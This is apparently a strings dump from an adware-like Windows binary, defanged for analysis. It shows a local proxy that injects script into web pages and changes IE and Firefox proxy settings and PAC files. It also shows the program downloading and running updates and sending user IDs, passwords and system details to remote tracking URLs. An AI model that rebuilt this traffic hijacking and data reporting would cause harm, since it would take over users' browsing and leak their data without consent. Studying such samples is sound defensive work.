[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

[GZipWrapper::InflateGzipData] ___Error ReadString : %s

[GZipWrapper::InflateGzipData] ___Error Open file : %s

[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s

GZipWrapper_%d.tmp

C:\ProgramData\tmp\

http_port

prefs.js

user.js

user_pref("network.proxy.

autoconfig_url

[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d

[CAsyncUpdate::StartUpdate] Download URL: %s

[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s

[CAsyncUpdate::StartUpdate] Update Page: %s

va_conf.dat

[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s

[CAsyncUpdate::DownloadComplete] Result: %d, File: %s

1.0.0.0

Temp.dll

[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s

Trial.dat

RESULT.VA_TRIAL.CONFIG.DATA

Temp.zip

RESULT.VA_RES.RESOURCES.DOWNLOAD_URL

RESULT.VA_RES.RESOURCES.VERSION

RESULT.BLACKLIST.DATA

RESULT.SENDLOGRULE

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING

RESULT.ADS.SHOW

[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s

RESULT.VA.CONFIG.SITES.ZIP

RESULT.VA.CONFIG.SITES.XMLVERSION

RESULT.VA.CONFIG.SITES.DATA

[CAsyncUpdate::UpdateSearchComplete] version status = %d

[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d

Old.dll

[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

LastNum%d

LastID%d

1.1.4

%d/%d/%d %d:%d:%d

%s.PARAM

%s.ID

.CONDITIONS.CONDITION[%d]

.LANDING_URL

.ICON

.TOOLTIP

.NOTIFICATION_TYPE

.VALIDATE

.EXPIRATION_HOURS

.EXPIRATION_TIME

.NUM_OF_ICONS

.ANIMATION_TIME

.DISPLAY_TIME

.TYPE

.NUMBER

RESULT.LAMP

RESULT.ALERT

[Core::ShouldUpdate] %s

RESULT.LICENSE.EXPIRATION

RESULT.LICENSE.STATUS

RESULT.LASTERROR

[Core::RequestURL] Filename = %s, URL = %s

RESULT.USER.DAUI

RESULT.ANON.PW

RESULT.ANON.ID

RESULT.USER.PW

RESULT.USER.ID

[Core::AnalyzeXMLResult] Filename = %s

RESULT.STATS.COLLECT

RESULT.DISABLED_PARTNERS

RESULT.UPDATE.PAGE_URL

RESULT.UPDATE.DOWNLOAD_FILENAME

RESULT.UPDATE.DOWNLOAD_URL

RESULT.UPDATE.VERSION

RESULT.UPDATE.EXIST

Core.log

ddd

ddd

2.0.0.0

%DOMAIN%

%s=%s

&OldUserID=%s&OldPassword=%s

%s?%s

hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx

CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]

Password

[Core::SendInfo] Filename = %s, URL = %s

hXXp://online.%DOMAIN%.com/online/Report.aspx

[Core::HitStats] URL = %s

hXXp://pix.%DOMAIN%.com

[Core::BuildUpdateURL] URL = %s

&ElapsedTime=%d

[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s

&DAUI=%s

&ActivationCode=%s&ActivationEmail=%s

%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]

[Core::CheckForUpdates] RequestURL FAILED

[Core::CheckForUpdates] RequestURL SUCCEEDED

[Core::CheckForUpdates] URL = %s

hXXp://online.%DOMAIN%.com/online/update.aspx

[Core::PerformAsyncUpdateCheck] URL = %s

&SBPIDS=%d

[Core::FindRegistrationInfoByKey] VA Product Found

[Core::FindRegistrationInfoByKey] DAP Product Found

[Core::FindRegistrationInfoByKey] Password is %s

[Core::FindRegistrationInfoByKey] SBPID is %s

[Core::FindRegistrationInfoByKey] Product is %s

[Core::FindRegistrationInfoByKey]

[Core::FindRegistrationInfo] ___Error open key %s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s

[Core::FindRegistrationInfo] - CurrentUSDKey is %s

[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key

[Core::RegisterProduct] RequestURL Fauled err = %d

[Core::RegisterProduct] RequestURL Succeeded

[Core::RegisterProduct] URL = %s

&LastResponse=%s

&TF=%s

&Retry=%d&LE=%d

hXXp://online.%DOMAIN%.com/online/Register.aspx

[Core::GenerateAnonymousID] URL = %s

hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx

[Core::PingServer] URL = %s

hXXp://online.%DOMAIN%.com/online/ka.aspx

InternetReadFile failed: %d

WriteFile failed: %d

Create output file failed: %d

QueryStatus not OK: %d

HttpQueryInfo failed: %d

InternetOpenUrl failed: %d

InternetOpen failed: %d

Content-Disposition: form-data; name="%s"

XXX

--%s--

Content-Type:multipart/form-data;boundary=%s

WaitingPost.xml

%%X

<?xml version="1.0" encoding="%s"?>

-%c%c%c%c%c%c%c%c%c%c

deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly

inflate 1.1.4 Copyright 1995-2002 Mark Adler

()$^.* ?[]|\-{},:=!

safari.exe

opera.exe

itunes.exe

iexplore.exe

chrome.exe

(build %d)

Windows 2000

Windows XP

Web Edition

Windows Server 2003,

Windows XP Professional x64 Edition

Windows Home Server

Windows Storage Server 2003

Windows Server 2003 R2,

Web Server Edition

Windows Server 2008 R2

Windows 8

Windows 7

Windows Server 2008

Windows Vista

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)

[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s

hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s

ProxyExtensionInj: can't open database1_0_0.json

database1_0_0.json

ProxyExtensionInj: can't open Config.json

Config.json

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header

[ProxyExtensionInj::OnHeader] FDM=%d -

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%%SID%%

%%USERID%%

%%SPARAM%%

%%SPARAMDATE%%

%%SPARAMPROD%%

%%SPARAMSUB%%

%%COUNTRY%%

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d

[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection

[InjHttpProxyServer]

[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[InjFileDownloadMgr] FDM=%d

[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d

[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

InjHttpProxyRemote::WriteCachedBufferToSocket

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

pHttpProxyWorker

[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.

[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.

HttpProxyServer::GetDownloader

[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)

[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.

[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

HttpProxyServer::OnHeader

[ProxyServer::StopAcceleration] Proxy type: %d

[ProxyServer::Stop] Proxy type: %d - Done

[ProxyServer::Stop] - delete HttpCookieJar

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...

[ProxyServer::Stop] - HTTP proxy - Stopped !

[ProxyServer::Stop] - HTTP proxy - Stopping...

[ProxyServer::Stop] Proxy type: %d

[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.

m_pIHttpProxyServer

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.

[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created

ProxyServer::CreateHttpProxyServer

[ProxyServer::Start] Proxy type: %d - Done.

[ProxyServer::Start] *** HTTP proxy was started ***

[ProxyServer::Start] ___Error stating the HTTP proxy.

[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).

[ProxyServer::Start] Proxy type: %d

[ProxyServer::AcceptConnection] *** Handover to HTTP ***

[AccelerationConfiguration::OnError] XML parse failed: %s

[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d

[CAccelerationStats::Write] Written: %d

[CAccelerationStats::AddRequest] Req:%d - Request was added

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader

[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.

[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).

[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.

[HttpProxyServer::Init] ___Error creating listen AsyncSocket

[HttpProxyServer::Init]

[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.

HttpProxyServer::OnData

pIHttpProxyWorker

m_pIHttpEngineConfiguration

[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d

[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d

[HttpProxyServer::WriteDataToFile] Filename: %s

[HttpProxyServer::Start] ___Error - HTTP Configuration not valid

HttpProxyServer::Initialize

[HttpProxyServer::Initialize]

[HttpProxyServer::OnAcceptEvent] *** Pass Through ***

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.

[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket

[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL

[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE

[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE

[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE

[HttpProxyServer::StartListening] Listening on port: %d

[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed

[HttpProxyServer::StartListening] ___Error listening on port: %d

[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket

[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port

[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d

[HttpProxyServer::StartListening] Listen port restored to default: %d

[HttpProxyServer::StartListening] ___Error Configuration not valid

[HttpProxyServer::StartListening]

HttpProxyServer::StartListening

[HttpProxyServer::StopAllAccelerations]

[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d

[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d

[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL

[HttpProxyServer::InitializationThread] ___Error listening to network traffic

[HttpProxyServer::InitializationThread] Listening to network traffic.

[HttpProxyServer::InitializationThread] Going to listen to network traffic

[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid

[HttpProxyServer::InitializationThread]

[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.

[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.

[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.

[HttpProxyServer::Start] ___Error hInitializationThread failed: %d

[HttpProxyServer::Start] hInitializationThread - S_OK

[HttpProxyServer::Start] Waiting for Initialzation Thread...

HttpProxyServer::Start

[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.

[HttpProxyServer::AcceptConnection] ___Error accepting a new socket

[HttpProxyServer::Work] --- Exit event was set ---

[HttpProxyServer::Work] - Start...

[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.

[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...

[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d

[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)

[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.

[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match

[HttpProxyServer::FindDownloadMgr] Worker was not found !

[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d

HttpProxyServer::RemoveDownloaderFromMap

[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)

HttpProxyServer::FDMWasStopped

[HttpProxyServer::Stop] The Stop process was finished !

[HttpProxyServer::Stop] - Workers - Deleted !

[HttpProxyServer::Stop] - Workers - Deleting...

[HttpProxyServer::Stop] - Listen - Stopped !

[HttpProxyServer::Stop] - Listen - Stopping...

[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !

[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...

[HttpProxyServer::Stop] Starting the Stop process...

HttpProxyServer::OnError

[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d

return "PROXY %s:%d";

[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d

[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d

127.0.0.1

[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration

[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true

[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration

[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.

[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF

[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***

[HttpProxyServer::OnHeader] ___Error local loop detected

[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.

[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)

[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d

[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!

[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d

[HttpProxyServer::OnHeader] New header from Worker:%d.

[HttpProxyServer::GetOriginalRequest] Original request was found: %s

[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d

HttpProxyServer::InsertDownloaderToMap

[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.

[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.

[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)

[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.

return "PROXY 127.0.0.1:%d";

shExpMatch(host, "%s")

function FindProxyForURL(url, host)

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.

HttpProxyServer::GetRedirectRulesInPacFormat

%%.%ds

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile]

[HttpProxyServer::~HttpProxyServer] - Leave

[HttpProxyServer::~HttpProxyServer] - Enter

[HttpProxyServer::SetOriginalRequest] Location: %s

[HttpProxyServer::SetOriginalRequest] Replacing: %s

[HttpProxyServer::HttpProxyServer]

hXXp://

HTTP_Version_String

HTTP/1.0

HttpParser::UpdateBuffer

[HttpParser::Reset]

[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.

[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.

[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d

[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.

[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.

HttpParser::Initialize

HttpParser::GetLine

[HttpParser::GetChunkSize] Missing %d/%d bytes.

[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.

[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] After Adding nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nChunkSize:%d

[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).

[HttpParser::GetChunkSize] The buffer size is %d bytes.

[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.

[HttpParser::GetChunkDetails] ___Error Unknown end of line.

[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).

[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s

HttpParser::ParseLine

HttpParser::GetFieldDataString

HttpParser::GetFieldDataNumber

HttpParser::SetFieldData

HttpParser::AddLineDetailsToMap

[HttpParser::IsDataAvailable] Undefined - %d data bytes

[HttpParser::IsDataAvailable] Response code has no body - no data

[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Chunks size - %d bytes

[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...

[HttpParser::IsConnectionClose] The Connection field exists:%s

[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default

[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default

[HttpParser::GetContentLength] Content-Length: %lld

[HttpParser::GetDataLengthFromRanges] Range fields does not exists

[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetDataLengthFromRanges] End Position == 0

[HttpParser::GetDataLengthFromRanges] Filesize: %lld

[HttpParser::GetDataLengthFromRangesField] Range fields does not exists

[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld

[HttpParser::GetRangesFromHeaderField] Range fields does not exists

[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetRangesFromHeaderField] Filesize: %lld

[HttpParser::IsValid] ___Error --- NOT an HTTP request ---

HttpParser::SetFieldDataNumber

[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.

[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s

HTTP/

HttpParser::AnalyzeFirstLine

[HttpParser::SetConnectionType] Adding - Connection: %s (%s)

[HttpParser::SetConnectionType] %s: %s (%s)

[HttpParser::UpdateDataEncodingType] Request - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.

[HttpParser::UpdateDataEncodingType] - No Encoding.

[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.

[HttpParser::ParseHeader] Complete - Header size: %d

HttpParser::ParseHeader

HttpParser::GetAllFieldDataStrings

[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.

[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.

[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.

[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.

[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d

[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty

[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.

%s%lld

[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.

[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.

%s%lld-

%s%lld-%lld

[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.

[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)

[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)

[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)

[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)

[HttpProxyLocal::Stop] FDM=%d (%d)

[~HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket%d.bin

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).

